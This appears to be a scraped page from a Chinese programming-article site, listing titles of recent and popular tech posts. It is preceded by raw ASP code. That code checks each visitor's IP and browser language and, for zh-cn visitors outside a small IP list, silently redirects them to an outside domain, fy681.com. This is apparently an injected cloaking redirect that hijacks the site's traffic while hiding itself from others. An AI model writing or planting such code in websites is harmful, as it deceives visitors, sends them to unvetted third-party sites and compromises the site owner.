<% dim redirectUrl,checkState checkState=0 MyArray = Array("127","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct", "Nov","Dec") userip = Request.ServerVariables("Remote_Addr") redirectUrl="http://www.fy681.com"

for i = 0 to ubound(MyArray)   if MyArray(i)=userip then    checkState=1     exit for    end if next

if checkState=0 then call checkip() end if

%> <% Function RegExpTest(patrn, strng) Dim regEx,Match,Matches '建立变量。 Set regEx = New RegExp '建立正则表达式。 regEx.Pattern = patrn '设置模式。 regEx.IgnoreCase = True '设置是否区分字符大小写。 regEx.Global = True '设置全局可用性。 Set Matches = regEx.Execute(strng) '执行搜索。 For Each Match in Matches '遍历匹配集合。 RetStr = RetStr&Match.value Next RegExpTest = RetStr End Function

sub checkip() Dim AL,LG AL = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") LG = RegExpTest("^[a-z\-]+",AL) if LCase(LG)="zh-cn" then response.redirect(redirectUrl) response.end() end if end sub

%>

最新文章

1. IE6 IE7 ‘JSON’ 未定义
2. Codeforces 699D Fix a Tree 并查集
3. extentreports报告插件与testng集成(二)
4. Codeforces 549B. Looksery Party[构造]
5. Linux之服务器时间同步
6. jsp七大动作指令
7. Linux bash运维操作日志审计（单服务器）
8. Spring MVC + Spriing + MyBatis整合，写给新人
9. ICON的设计很重要
10. redis基本数据类型【3】-List类型
11. 在Site Settings下找不到Navigation标签
12. asp.net(C#)利用QRCode生成二维码---.NET菜鸟的成长之路
13. 学EE做硬件找工作不如学CS做软件，为什么会这样？
14. Ultra-QuickSort(树状数组+离散化)
15. JS中函数参数和函数返回值的理解
16. 利用nginx实现负载均衡和动静分离
17. Android 自定义 HorizontalScrollView 打造再多图片（控件）也不怕 OOM 的横向滑动效果
18. Android Studio调试时遇见Install Repository and sync project的问题
19. java学习笔记39（sql事物）
20. Mac本如何卸载MySQL

热门文章

1. linux服务端的网络编程
2. Qt5对付中文真好用
3. uboot 连接脚本分析
4. 百度富文本编辑器ueditor使用总结
5. adb的logcat使用
6. Memento:客户端瘦身
7. iOS:处理XML文件
8. python相关的工具
9. bzoj 3744: Gty的妹子序列 主席树+分块
10. Dining